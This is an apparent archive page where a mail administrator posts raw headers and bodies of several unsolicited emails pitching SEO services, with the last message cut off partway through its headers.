by mx.google.com with SMTPS id 38308e7fff4ca-3a130d11709sor14006761fa.14.2026.08.16.08.48.28

for

(Google Transport Security);

Sun, 16 Aug 2026 08:48:28 -0700 (PDT)

Received-SPF: pass (google.com: domain of harry@searchifyx.com designates 209.85.220.41 as permitted sender) client-ip=209.85.220.41;

ARC-Seal: i=1; a=rsa-sha256; t=1786895308; cv=none;

d=google.com; s=arc-20260327;

b=ZMaDAWDPpkT0EC8iMvPxrw6wh5A7Kl6uEMWWt8HAi7FnpnNO+rd+rA/m00DeZfDBWm

XlEJyaBZ8ldHHeN4IMlllbg2vzNmyAITBffg/S4rDnSJu87wTjqhFfPwmLiGsv2s7Vhx

NS3fUrKZIm89rRIU1QAV6s68dzLM+tEN+qkc8XJ9yI4izwYGJ041SUX+v/HO+h6QNNrV

CagpWbvPHT2KG8wOkZ+DEzsmjEycdo2GOnUlU6kToMZmgBjn7NKCASmvoJ86uGR88BRw

Yc4kcmT2zfbZBWbW7u6lVw5ZcT9J0I4Xp56o4Q29E0pJPrWqimhYjhfx/zXaZvMoI9EN

9EMg==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;

h=to:subject:message-id:date:from:mime-version:dkim-signature;

bh=TuZ4Ig7fJ0gNY6lLcLX6c+B+CFJBRXSWvNC3In/YIsw=;

fh=Kdup8rstokpS5iUn1TG6IONO+EYb93pCicA+PP2gP1I=;

b=QwJrIlslToq8PmNAmjPX5sEobxi22WgB7RMohxHikq+/nEGHe3KPGO6jPIFYhNADks

myBRd9b4DaJUIePxc0ElFWX/3Hi3+1Ofu6cT482CiHQVk+STNf5XO1XtM8SM2SK2vjVm

nDuLg5RXldqHRbfSCnvA7Z/grvZMFOpsBIgVxqryxQKfdZLXd1r+dARNUQrIBetsPhH6

iPvR9BTJ21T61Jy+LPMzKmG1OpQlbBsRGdFGV+QG0WZ5qz/QviCU39b6cq70MvCkpGrr

BDt8L5mQh7Wd5xopxmQNNMhN5ZcvC5pdtqN7/uedtkncmL/Zb7hV5ky1XFbA7rLO1rl7

km+g==;

darn=topseoagency.co

ARC-Authentication-Results: i=1; mx.google.com; arc=none

X-Gm-Gg: AR+sD11nBn6j9hxYEmQY25Sat+Q46RdHw4Ua5hg7i6xLRAwh0MCtUx50G81yKO3UAMA

Zlrf4ox649F9eEr2y4oeAFlmjA6pzwTs+GUGaoABJyi8MO91QRQsImXS5VhnV82zO4mlJuETnFX

doDrKvIK/IM/9z9PZgS3jAw8ZG0jmIosyRAblP2VZF/VLznh6YdrxwgkkMXSdalnMGG/eer1Ne8

yCkx+2SS4HVzwwrZbycRX4Kk/ip1c2qq/Wzk7HPA/JOFP2Ma3h0Vrj0rk7fB8z3otphwJoufvn2

Rk4ky9oUF+yyIx/m/5CIrC0Jy83tbfEx86PRHBegAgbAR+EXRkydamc8wvP325Ku3ZVQcp1z5gS

3+rZ87TP+kFjVM9mVxsZF8ZcyoQsPJf8MpM5UKYRwHKIYnIQayXXDBhb4EQ2eWIXjUR3a+EF/69

37BHkq5BIGlaj+8IlfdQ==

X-Received: by 2002:a2e:bc0d:0:b0:394:3b62:b6aa with SMTP id

38308e7fff4ca-3a1323f9781mr20662281fa.12.1786895308284; Sun, 16 Aug 2026

08:48:28 -0700 (PDT)

MIME-Version: 1.0

From: "'Harry Burns' via organic_prism"

Date: Sun, 16 Aug 2026 21:17:46 +0530

X-Gm-Features: AcwNN1V6xJRNLhqUPF4nce7JqpNjgeYMUff_I7mQFhrEWhnI_o4-3xi4JUsXi7M

Message-ID:

Subject: May I send our pricing and portfolio?

To: Organic_Prism@topseoagency.co

Content-Type: multipart/alternative; boundary="00000000000019f8ab06592bfc19"

X-Original-Sender: harry@searchifyx.com

X-Original-Authentication-Results: mx.google.com; dkim=pass

header.i=@searchifyx.com header.s=google header.b="bPfYa6/2"; arc=pass

(i=1); spf=pass (google.com: domain of harry@searchifyx.com designates

209.85.220.41 as permitted sender) smtp.mailfrom=harry@searchifyx.com;

dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=searchifyx.com;

dara=neutral header.i=@topseoagency.co

X-Original-From: Harry Burns

Reply-To: Harry Burns

Precedence: list

Mailing-list: list organic_prism@topseoagency.co; contact organic_prism+owners@topseoagency.co

List-ID:

X-Spam-Checked-In-Group: organic_prism@topseoagency.co

X-Google-Group-Id: 97346388696

List-Post: ,



List-Help: ,



List-Archive:

List-Unsubscribe: ,





--00000000000019f8ab06592bfc19

Content-Type: text/plain; charset="UTF-8"



I visited your website and* noticed a few areas* that could* improve your

SEO performance.* May I send our pricing and portfolio?



To unsubscribe from this group and stop receiving emails from it, send an email to organic_prism+unsubscribe@topseoagency.co.



--00000000000019f8ab06592bfc19

Content-Type: text/html; charset="UTF-8"

Content-Transfer-Encoding: quoted-printable



I=C2=A0visited your website=C2=A0and=C2=A0notice=

d a few areas=C2=A0that could=C2=A0improve your SEO performance.=

=C2=A0May I send our=C2=A0pricing and portfolio?








To unsubscribe from this group and stop receiving emails from it, send an e=

mail to organi=

c_prism+unsubscribe@topseoagency.co.




--00000000000019f8ab06592bfc19--

Web/SEO/App spam from Microsoft Outlook

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 16 Aug 2026 12:14:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvfM1-00000000Daf-0HSj

for dave@doctor.nl2k.ab.ca;

Sun, 16 Aug 2026 12:13:05 -0600

Resent-From: The Doctor

Resent-Date: Sun, 16 Aug 2026 12:13:04 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-koreacentralazolkn19013083.outbound.protection.outlook.com ([52.103.74.83]:29034 helo=SEYPR02CU001.outbound.protection.outlook.com)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_256_GCM_SHA384

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvcyJ-00000000DBM-0h6k

for sales@nk.ca;

Sun, 16 Aug 2026 09:40:37 -0600

ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;

b=hlAWVaSWADkbZ7ROQGzED+hYD/02UUmFWYyq7d/GbimDdNqgV+/37vvcdvfW1smuXHX/jfLsnbSu0/rW44QTBYYF9yoX/3ZTu6bGion8rPvpw8gRD6HSjzx9XopWikC31TbsVpcxJZKxlEdpi//xeRtfqMSalBoB6C6Lc7AfQhz3lGOUwoYXlaJAN2f07fbnmm+JftCnu3e/DQmHZZ4TQK677en993zxNuXkjvMHfp3opsX6CP3504R8sb4ClrRY/24B/EoYa1YWWXJ54c6eZo8xLdCrnihsHdZMlnbknQHaUq8jmseWXg0LKN2LCmVC460X5WcrmaFiarcjcgAtSg==

ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;

s=arcselector10001;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;

bh=k/Ip1yWkjm2a+dnyTVt/LDWrq44KMUljWR6KpCbBTec=;

b=WVTFQf/ZHyTYR7WSaPAdAhYjhp2quN+BZBJudWGmhfcIyRnkqO5Lvbq4jT+cJGsM7Rexvg+5xit6jTf4mqxYoNqaLzo8LlHxqotDfw1yR1MwwEYAONdyo6PQ64aKv4LqpYFMWEIypeqcOCQ4J0G4/agHZZM3By/BU7ylgJX3TXdWGbEYUCcEoTwUXyXEDdwICO2kfWJD+6GJCTotfrM5S7zUL4ywimQ1PCzI3VpZVjI0IkGAO9Pr57rgwt778Rdp5+I8eXTZPLvzZJkk4/4nEQx9FXxOCRCE6xt572bqdDnD4bK+BGuqXzSR63CYbV0UMQS4hoIpV0s/xACJwFEJsQ==

ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=none; dmarc=none;

dkim=none; arc=none

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=outlook.com;

s=selector1;

h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;

bh=k/Ip1yWkjm2a+dnyTVt/LDWrq44KMUljWR6KpCbBTec=;

b=oUCXyXjZHoopxVcwZjViZ72FeGyo6wpbCD/vqFUJ10E4MAygURK0EEo+0E2Kfxd+MJDcUDaYqLAOQ+3qqM2Rp0P3tliFVxHVzPlSk9t4rqHQ+VUdTR93fuibZxw1xn69lMeyJ7xuG1hXzZQ0z1cjyvrAMb8VaB/RpFpVzHhTvxGXWIZStDOrAr8SAySmhPczRCAzRC6vc8tacn5xAR0Li0+P7lT6NKI070FYi09Ay+zBqx+0B2rwNWnIjYSvDpioukL9oirtBbd5pGDfm0XVRoBY/HiCNopKsIeShsvMd4Cx4KHQih+lLCF9cVKpFIWkSATKlooZm1ezptarUdNgYg==

Received: from KL1PR01MB5113.apcprd01.prod.exchangelabs.com

(2603:1096:820:da::14) by SEL0PF919B6CDD9.apcprd01.prod.exchangelabs.com

(2603:1096:108:1::5ba) with Microsoft SMTP Server (version=TLS1_2,

cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.315.17; Sun, 16 Aug

2026 15:38:45 +0000

Received: from KL1PR01MB5113.apcprd01.prod.exchangelabs.com

([fe80::f21e:2bde:3a3:1265]) by KL1PR01MB5113.apcprd01.prod.exchangelabs.com

([fe80::f21e:2bde:3a3:1265%6]) with mapi id 15.21.0315.011; Sun, 16 Aug 2026

15:38:44 +0000

From: Brooke Allen

Subject: Re: Explore Our SEO Services

Thread-Topic: Explore Our SEO Services

Thread-Index: AQHdLAmeU1R53eB6kk+oOuvd0C186rag0mX2

Date: Sun, 16 Aug 2026 15:38:44 +0000

Message-ID:



References:



In-Reply-To:



Accept-Language: en-US

Content-Language: en-US

X-MS-Has-Attach:

X-MS-TNEF-Correlator:

msip_labels:

x-ms-publictraffictype: Email

x-ms-traffictypediagnostic: KL1PR01MB5113:EE_|SEL0PF919B6CDD9:EE_

x-ms-office365-filtering-correlation-id: 62c82f58-99ba-4121-cb82-08defbac74cb

x-microsoft-antispam:

BCL:0;ARA:14566002|2604032031799003|704163111799003|55001999006|16051099003|31061999003|15080799012|15030799006|8062599012|8060799015|19110799012|45011099003|51005399006|15001099006|22091999003|37011999003|24121999003|25010399006|4140399003|40105399003|31055399003|26121999007|11120399003|260806224601699006|2607281247196008|102099032|3412199025|440099028;

x-microsoft-antispam-message-info:

=?iso-8859-1?Q?Bt64+zOGC//UsxHgulS1fGCeKoJaEgImlJ32Cz9swlq4qOT+Fn2qwzAk+T?=

=?iso-8859-1?Q?oW2U3eMCKwexdfI8x+DtD6GbOoK/HCyP2QFsdQGQW2TIfR1nJXRN9FRj0G?=

=?iso-8859-1?Q?VObsANfZEtyyiALF5GMYiVpaGaCrsM3ZPOj+asf6ehxThP4t+fOxZ6CsVr?=

=?iso-8859-1?Q?l5XFmmBdU9gCbWdNQ3Z5NNsnXmeJp8kHKsxuDmBhi3AoQwnpE/YweDVZxe?=

=?iso-8859-1?Q?ej1REyC7u+3P1mQypjWSv7X58kTZDoJyIwJ7/vWY2SP64GOtOhjjOBFj5I?=

=?iso-8859-1?Q?DwVeerD6qYq7BEICNyU+O7rEVnaC0NzqnrVOOpnCt6RW0RiEp7CgW6HSJs?=

=?iso-8859-1?Q?2Bbi0gEQVdBzS5bB++VpIjHpPQ3TgCqxieiET/CovkTes7LqF9pv9ODzfJ?=

=?iso-8859-1?Q?UDGxgZ53rAJWgKLl7ndUYGbHGule0swgv8Ip2BI3bAm46L1SCyOOqwe0tK?=

=?iso-8859-1?Q?578WBft0aq5JWRV7XEcsf3GkM/g/kzB9EoMvrxFBW1iRn3CAKuU/GOU3Op?=

=?iso-8859-1?Q?dEKNNu+qJZ1eDdu65+UOE83xg6eG0Cf7FchCN8va3RZq0J7mlp+icFU0t2?=

=?iso-8859-1?Q?ZHHfoW/kWDUtw6/5gMfBpTc2ioWw4EBJi+lOVZ7dmnLYYTFtznA50byo9a?=

=?iso-8859-1?Q?Fcs0xbydyjDS9x33yHxr5EKy4zgA+twy5peOfcq+iCPa+TLBh/DXIO2cVD?=

=?iso-8859-1?Q?c52Xj43Wy1oJ0eX1+gSLZMwV53VQNbQpNHqOn6ELxhgjfwgJxnGReku7JV?=

=?iso-8859-1?Q?S4BkLr4cmrPAGN+dnOk3afuhKSgcgrtffhWF4HLSj/vJpVdsS92/lM4kxc?=

=?iso-8859-1?Q?U4yC1Kxknqc7TEFroYfDCOhfZsjvcO2V8Wl0cxaNhkhtj4mVqWyvgkLYzk?=

=?iso-8859-1?Q?hLHDrPUFmjDSi4K9v0zumrtDGaO33CKRBqFFfXh0AfQjXTLsroCaGva0N7?=

=?iso-8859-1?Q?vAKHQCe782vhi5y10on46/YNX9i4J2XXJR9a4Zd085rP2Xl8m5RZTWXYvf?=

=?iso-8859-1?Q?W6Bmg5yX8QcpCPEfWKGVgCWQ4ainmB9LvMXL9NKipa8dnkwAWNTydA90k3?=

=?iso-8859-1?Q?sL2OZ9dnswvFi8ZAZDj4cNiO1cKmk7KwDAImlae1VEZJgaQ5rN8fzw316f?=

=?iso-8859-1?Q?BuHQC91gJ6iJCqHIWB3yqDFPYQ/oiaywbZ8IXDD92SegJbnJOq0S/ysG1m?=

=?iso-8859-1?Q?ErWgkrSUgCOQYzJrpnxThrwJRf+/PWfbU9EOTyrkBu6kjc9a0iGFUGOmUU?=

=?iso-8859-1?Q?IPNmsEILn7vShnkNpARFjgcPdkvDuxl5oKr8VGOCzf2pbHCwqQvlbxKn+q?=

=?iso-8859-1?Q?OxRD/GEux4+fOpxB50md46A0Kqd8jgcL8y8E7Zu87HqRuI0+k4ttpIgQdK?=

=?iso-8859-1?Q?kbl7N3NNuEpoqCy2gh8o8c/Ow8YKTQ86hKi5pLxOerp/Yt8sjpvus=3D?=

x-ms-exchange-antispam-messagedata-chunkcount: 1

x-ms-exchange-antispam-messagedata-0:

=?iso-8859-1?Q?jAlbegV1fy0Y++vYhXR4zA52gxR/FZDW8YW3/uTgtytNNr6bZRy2vIXte2?=

=?iso-8859-1?Q?PrdU+Z/6zlu/6+UuCnIrTHHnzuOTnxcONwvfgKafneSIomknXUh4H34ZnR?=

=?iso-8859-1?Q?cP9mkiTGcjSecuzDpxlajwEdmP8rpo9GD6wIpJcM6wqkVoibZwir+8FsAx?=

=?iso-8859-1?Q?oRAcu7Vr/rZ4fLwS7pZf4PDgDc9kaCD/Hgb4PA37/oXORKeWHTi2KPq0Mu?=

=?iso-8859-1?Q?y2fk7JHqVzr7xZ7O13v8TlrGHGDF0w5knN5R+e/RRlhGJ9v9lLrkmloAqt?=

=?iso-8859-1?Q?gr6JqtgappB6yy/Zl21LmSHiJCdgWPpmebOGG02SgdWyZ9ErlNYkRjzo7U?=

=?iso-8859-1?Q?/j0Zm1OvRaCxz1hyVesSSgSDVh5jZTh7kPK1hlY/K6gs8vcqo5at7Zonfg?=

=?iso-8859-1?Q?6UKm0T5obvLBknBatOm2CZ5La86GJZz4N22XA3qV2drMn7TIC6jume+X+/?=

=?iso-8859-1?Q?seakOuKXQWXd9aNQlt2Jvet2dRW6yd5CCI+Rhm20m5MuVPc3nfexLgs1UX?=

=?iso-8859-1?Q?YJ1G/pjXpQCZIkVDO4q2C8IUIFHGBwSR9dgXrC6WV7ZZ0vALEuxmXmZD42?=

=?iso-8859-1?Q?n1ooxivl94GiiDTMSVRsCRlYGKWmsAZ3SB8lW+ZBFbOYfkZGDvWP46xPcH?=

=?iso-8859-1?Q?oIAKUnaQ7NHXcU5rNcoBB1fsvlfTNs0197ferLBuQ7LsaohtryV3okRkjT?=

=?iso-8859-1?Q?QJ6mTP+REthfNcY5HtUvFdS0xdkcOpF/rlZjLF5vs2Jxcw7kROGExy+hfp?=

=?iso-8859-1?Q?14D/JWkNBOKjrw04m0Vy7ZF93lGhPC288iEApjVfecywOL19PaTYMxAwWc?=

=?iso-8859-1?Q?lLoY/tQl4vd5FYc/QXCK7Ro4bURDu6JOihBGhG8Jv3hffA2Q/NsGHzGDTF?=

=?iso-8859-1?Q?9rMk2WOXta0gqbNKiRwoILK1m1VdV7DQIlKJGF/eBuRFYLdUK/Wi4uzhbp?=

=?iso-8859-1?Q?FCQaBTc4xMfhqAr1ve8qxEhVGAm9xOVbqOSCU8EXOcZUkuSG3D7CN4hXFM?=

=?iso-8859-1?Q?3VFihBRw9WhBk49Acpin9arKjFh9GMYL/GJT+NU2RdI+d6p4PPRF32HZnw?=

=?iso-8859-1?Q?JtdNZTZbbqI+m2axwaSmvGh9B61q4MWeEC4YPRhpgoedgCmb7tJvjFzhVe?=

=?iso-8859-1?Q?UNaYV5WhZhiPkwGvHIKuFSPH+rFRF7jC0peURbqMT0GDRUtCHvejiC0Tuz?=

=?iso-8859-1?Q?h1C9i34xOKkTe6nTv4nmXEHz53ewsB9/86YXTarCJvHvsRRibar0H6sTGS?=

=?iso-8859-1?Q?MMgtoikmo/6bWSiTLmsmfX/A8SVOvnIDk4ilUXyh7XTJRclCwjTQ58Rd2r?=

=?iso-8859-1?Q?1yxKOFarJUwMO7UaZzJ9ONmNWw3uXER6YiVjw58SkwhE0f5lOPDCfnF26v?=

=?iso-8859-1?Q?dZ/V5CZKPiyCJRjt77VsFv7yMebfxA9npO+HWjsPogSArEqTWzQKNTUrTU?=

=?iso-8859-1?Q?Wfey9oczSJZTyteTD+Clm1uZx25xs7wL7nnRSA=3D=3D?=

Content-Type: multipart/alternative;

boundary="_000_KL1PR01MB5113D778C554537D9FDBC5EAC6D82KL1PR01MB5113apcp_"

MIME-Version: 1.0

X-OriginatorOrg: outlook.com

X-MS-Exchange-CrossTenant-AuthAs: Internal

X-MS-Exchange-CrossTenant-AuthSource: KL1PR01MB5113.apcprd01.prod.exchangelabs.com

X-MS-Exchange-CrossTenant-RMS-PersistedConsumerOrg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-CrossTenant-Network-Message-Id: 62c82f58-99ba-4121-cb82-08defbac74cb

X-MS-Exchange-CrossTenant-originalarrivaltime: 16 Aug 2026 15:38:44.5247

(UTC)

X-MS-Exchange-CrossTenant-fromentityheader: Hosted

X-MS-Exchange-CrossTenant-id: 84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa

X-MS-Exchange-CrossTenant-rms-persistedconsumerorg: 00000000-0000-0000-0000-000000000000

X-MS-Exchange-Transport-CrossTenantHeadersStamped: SEL0PF919B6CDD9



--_000_KL1PR01MB5113D778C554537D9FDBC5EAC6D82KL1PR01MB5113apcp_

Content-Type: text/plain; charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable



Hi,

Just following up on my previous email.

Would you be interested in reviewing our proposal and pricing?

Thanks & Regards,

Brooke

________________________________

From: Brooke Allen

Sent: Friday, August 14, 2026 9:56 PM

Subject: Explore Our SEO Services



Hi,

We provide practical SEO solutions at competitive rates to help businesses =

improve their online visibility and organic growth.

If you're interested, I can send our available packages, pricing, and a bri=

ef overview of areas that may need attention.

Thanks & Regards,

Brooke



--_000_KL1PR01MB5113D778C554537D9FDBC5EAC6D82KL1PR01MB5113apcp_

Content-Type: text/html; charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable








1">








margin-top: 1em; margin-bottom: 1em; font-family: Verdana, Geneva, sans-ser=

if; font-size: 11pt; color: rgb(0, 0, 0);">

Hi,



margin-top: 1em; margin-bottom: 1em; font-family: Verdana, Geneva, sans-ser=

if; font-size: 11pt; color: rgb(0, 0, 0);">

Just following up on my previous email.



margin-top: 1em; margin-bottom: 1em; font-family: Verdana, Geneva, sans-ser=

if; font-size: 11pt; color: rgb(0, 0, 0);">

Would you be interested in reviewing our proposal and pricing?<=

/div>


margin-top: 1em; margin-bottom: 1em; font-family: Verdana, Geneva, sans-ser=

if; font-size: 11pt; color: rgb(0, 0, 0);">

Thanks & Regards,



margin-top: 1em; margin-bottom: 1em; font-family: Verdana, Geneva, sans-ser=

if; font-size: 11pt; color: rgb(0, 0, 0);">

Brooke







11pt; color: rgb(0, 0, 0);">

From: Brooke Allen


Sent: Friday, August 14, 2026 9:56 PM


Subject: Explore Our SEO Services


 





ily: Verdana, Geneva, sans-serif; font-size: 11pt; color: rgb(0, 0, 0);">

Hi,



ily: Verdana, Geneva, sans-serif; font-size: 11pt; color: rgb(0, 0, 0);">

We provide practical SEO solutions at competitive rates to help businesses =

improve their online visibility and organic growth.



ily: Verdana, Geneva, sans-serif; font-size: 11pt; color: rgb(0, 0, 0);">

If you're interested, I can send our available packages, pricing, and a =

brief overview of areas that may need attention.



ily: Verdana, Geneva, sans-serif; font-size: 11pt; color: rgb(0, 0, 0);">

Thanks & Regards,



ily: Verdana, Geneva, sans-serif; font-size: 11pt; color: rgb(0, 0, 0);">

Brooke








--_000_KL1PR01MB5113D778C554537D9FDBC5EAC6D82KL1PR01MB5113apcp_--

Web/SEO/App spam from Google Gmail

Posted by Dave Yadallee on
X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Sun, 16 Aug 2026 12:13:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvfLK-00000000DTo-20Iv

for dave@doctor.nl2k.ab.ca;

Sun, 16 Aug 2026 12:12:22 -0600

Resent-From: The Doctor

Resent-Date: Sun, 16 Aug 2026 12:12:22 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from mail-lf1-f70.google.com ([209.85.167.70]:40345)

by doctor.nl2k.ab.ca with esmtps (TLS1.3) tls TLS_AES_128_GCM_SHA256

(Exim 4.99.5 (FreeBSD))

(envelope-from )

id 1wvbb1-00000000G24-2EHH

for root@nk.ca;

Sun, 16 Aug 2026 08:12:29 -0600

Received: by mail-lf1-f70.google.com with SMTP id 2adb3069b0e04-5aeb88aac94sf93397e87.1

for ; Sun, 16 Aug 2026 07:11:31 -0700 (PDT)

ARC-Seal: i=3; a=rsa-sha256; t=1786889484; cv=pass;

d=google.com; s=arc-20260327;

b=WMYvnmhW6YCi8Ovt7AeEo8iq6c6rWjIK1pKxPQ3V/PzJRJCh/9oB91CXduPV6uuv+I

OJjZR3lylN4Qsx7PzJFSRH7/K6DAea390M+LN1ix+63RgSI1tiBeavBus8ixEem1rGqd

/urhVPNyXyjO8S+qlsatUftTUn58i9REJ7T+i5zcMFlAg7j5zJWvyBNx8K1z8+dNPrsH

MKpp2XLrnsMtrN8JwGE+gVU4Ydf3Cc5x3AENTIZ58dDoe4snFV/7YT1zjpKRxdzELiYx

xSa73T9Jx2cjMSocfVi8DqGYDsZcH3KKzLquyO+JyOua8Pzdeq0JKEtJ2J+fSVKLHy9L

DxKA==

ARC-Message-Signature: i=3; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;

h=list-unsubscribe:list-subscribe:list-archive:list-help:list-post

:list-id:mailing-list:precedence:to:subject:message-id:date:from

:in-reply-to:references:mime-version:sender:dkim-signature;

bh=00sqVXZchtcfEoiafdI04iO6p0VR0q16nabSWjgH2RQ=;

fh=MfhHyn//FEwqDjJFtYFVd89Yg/98/El2qC6YMhiTwyg=;

b=iA3vVd2r1mK059d0ipUQGbBwOJ5cItAYZkxQud/gpg3rfTODXB0HWll6UUKwmNxj6q

/ho5xZ6QSEJ7ssrQqavf6RS3WILPIhy2DM4AIUsvysHK5FlgMyej1nW4Amh5zaiGoZpb

hcoBH9EfbMj/4FdYCekQ9K0xpgkAGPA61p/gAPx8Ma7JRBSqzeLOCGvRyrTe/XnXav/A

tOhLAIujUvQbzasxsvOSRdovb5i4rasGL4wtWVcEOUOBddiIufAO+yCFshIPXS/MJApe

IrEjpgNlquY82FV6tbAcD7Wr6qcenzgWao1XtW5w/BMuKb8YQ1buJhdfwDcLrLF5sIlY

MPag==;

darn=nk.ca

ARC-Authentication-Results: i=3; mx.google.com;

dkim=pass header.i=@gmail.com header.s=20251104 header.b=n7SXJOek;

arc=pass (i=1);

spf=pass (google.com: domain of ella.white3180@gmail.com designates 209.85.220.65 as permitted sender) smtp.mailfrom=ella.white3180@gmail.com;

dmarc=pass (p=NONE sp=QUARANTINE dis=NONE) header.from=gmail.com;

dara=neutral header.i=@rankbeacon.xyz

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=rankbeacon.xyz; s=google; t=1786889484; x=1787494284; darn=nk.ca;

h=list-unsubscribe:list-subscribe:list-archive:list-help:list-post

:list-id:mailing-list:precedence:x-original-authentication-results

:x-original-sender:content-type:to:subject:message-id:date:from

:in-reply-to:references:mime-version:sender:from:to:cc:subject:date

:message-id:reply-to:content-type;

bh=00sqVXZchtcfEoiafdI04iO6p0VR0q16nabSWjgH2RQ=;

b=Fpp3XmPwJoMZH5KlaOjVk+zJz4NmdGWt/35RObOlb/snbRXP1ImOyg2U5i0e7aSAyu

v8oe/hw6X4slAnsSGtkipIsg87ONmLRiDQopcS5j6WoxtL0LZfzsblN2ivbuqoi9CeXn

MeXoDqR4RCJFCjFFjjtFijOFWsfgX3L1BlJ0qGDh6dy0fuwFwII/92Dvm7q5oQ8AqRi/

Sbc49tLI92wIl7gLhs+TMWm3TqpMTbtJsQ1GikUvKOsrDegQb18Y9oBySWXzsct6i8oj

yBJTviNe86b1b8Y5xfZs5Ao//Z4eCq3jjkWjFoLwdtjCnh5HTW4KvoOsWJoVzC5Og54W

Ok3w==

X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;

d=1e100.net; s=20251104; t=1786889484; x=1787494284;

h=list-unsubscribe:list-subscribe:list-archive:list-help:list-post

:x-spam-checked-in-group:list-id:mailing-list:precedence

:x-original-authentication-results:x-original-sender:content-type:to

:subject:message-id:date:from:in-reply-to:references:mime-version

:x-gm-gg:x-beenthere:x-gm-message-state:sender:from:to:cc:subject

:date:message-id:reply-to:content-type;

bh=00sqVXZchtcfEoiafdI04iO6p0VR0q16nabSWjgH2RQ=;

b=gguV+ePNTcxa/HtKrhsUSQzHUoBEkyNNNeuPkkSHTNsSjorjXRJEYcjO7K4yzyOFTA

XTcRqDJst3oKhoZ7sLe4gWprcqzIhCcqSkm6vLcc0hMs0b4Zc1BnFGdywK4OS/4X+HZt

+sMfbNH/G+u0Lcl2sS2iX2Pj6Kkrbs9TDi+2N7wKJE8JGzlwb9IxeGpR1vquN73vR9mC

95Qpj4QCtJ+9+w5qehZyVa8kY6h9rQ73luhzaF5DYqPW1na7lG4D2p8Pq+pKuAfAT50z

9CJzCH5pljUBTSczamtavahLKQMhO8fOd27AoHjiW0+/4HY38+h4NMeRqy8Hl5R1/pPG

gDgw==

Sender: google_seo@rankbeacon.xyz

X-Forwarded-Encrypted: i=3; AHgh+Rp/lGs7Dl+KJy+Q+utwct8Fvx2romsnaZikQwHGj+61jXwHxa1sQYP0O6DfDVMDuzrOczNz@nk.ca

X-Gm-Message-State: AOJu0YxC9Xe0jiDoiA+tVEdKEJ3IhocHXcODr1HaBagUYpUpRFjXC6Fn

Swr3lQ+3qe7YoIU5ZfcnNM+O1OJyqL51KXOI4GO8UrWSJTK5YOuh4kriE7FCBTSLkgM=

X-Received: by 2002:a05:6512:3c98:b0:5b2:8f21:9208 with SMTP id 2adb3069b0e04-5b459138277mr2860472e87.2.1786889483831;

Sun, 16 Aug 2026 07:11:23 -0700 (PDT)

X-BeenThere: google_seo@rankbeacon.xyz; h="ATskLdc5qA+kMioobIksA0pBwV5nWbfZyviqzAmDQj2vV53adw=="

Received: by 2002:ac2:4c2e:0:b0:5b0:1f26:8a3a with SMTP id 2adb3069b0e04-5b45310eff4ls1121923e87.1.-pod-prod-03-eu;

Sun, 16 Aug 2026 07:09:00 -0700 (PDT)

X-Received: by 2002:a05:6512:130f:b0:5b2:9238:5c36 with SMTP id 2adb3069b0e04-5b45918e87cmr2529894e87.27.1786889339893;

Sun, 16 Aug 2026 07:08:59 -0700 (PDT)

ARC-Seal: i=2; a=rsa-sha256; t=1786889339; cv=pass;

d=google.com; s=arc-20260327;

b=r6D4LeVHDmmYRZAmo5myGENEcce8johFo6LI2XF/C7J3Y+HqBKBQdQRXcGFgKOj9Zn

qEkXSlxYsW82RDKzzi3+fVO7hXUmtGDEiaNIsyyMiqw1UD18n9ThE8EHBRWRPydPZT9+

2oBkuXXwpPoz9m04mVniOD0cS0VC2lHyOBu4pb4FWbo64VvwXK+pxkNp6glGIc26lWvH

ZbKrj9Nh4PQqJFGpE3TyXWYDrm4kBmCalgD6xg1AJZ/1YVAG5W5nd3Ukl2ve1XDeZ3pc

FPQolj5Ug64nzWbk/xc56CvAOBHqfTGKNp+sAQOsVzZBV6HNDHboQS7DbaDkBOGtpXW6

KYFg==

ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20260327;

h=to:subject:message-id:date:from:in-reply-to:references:mime-version

:dkim-signature;

bh=6q7nRixXOGe11v8rzEdvRwsTcgzOZvxCh6SbCp5GjEM=;

fh=PWSUFaEq1CkbsfShP2jell5RPg3MDtCYx7KzhsUuaJc=;

b=S5JvEimiTX/L+UMhpaJYoVe8ans2UlIbuflUprcj8Y7KxVFy5iqG6nSIhLevdMJDB2

C49F9yHDyFNdwzmw5ODL/ZIpB5lTUZD65lzauWfgfQCDsmahPpL9m59ZoN6hqMT4zYYa

gHCMsxZkfXHTtmjqO/HAfc+y9otVyWKeQla2GKD/xZsZZ2ZClizvTC127xQ7Tpbz5HJd

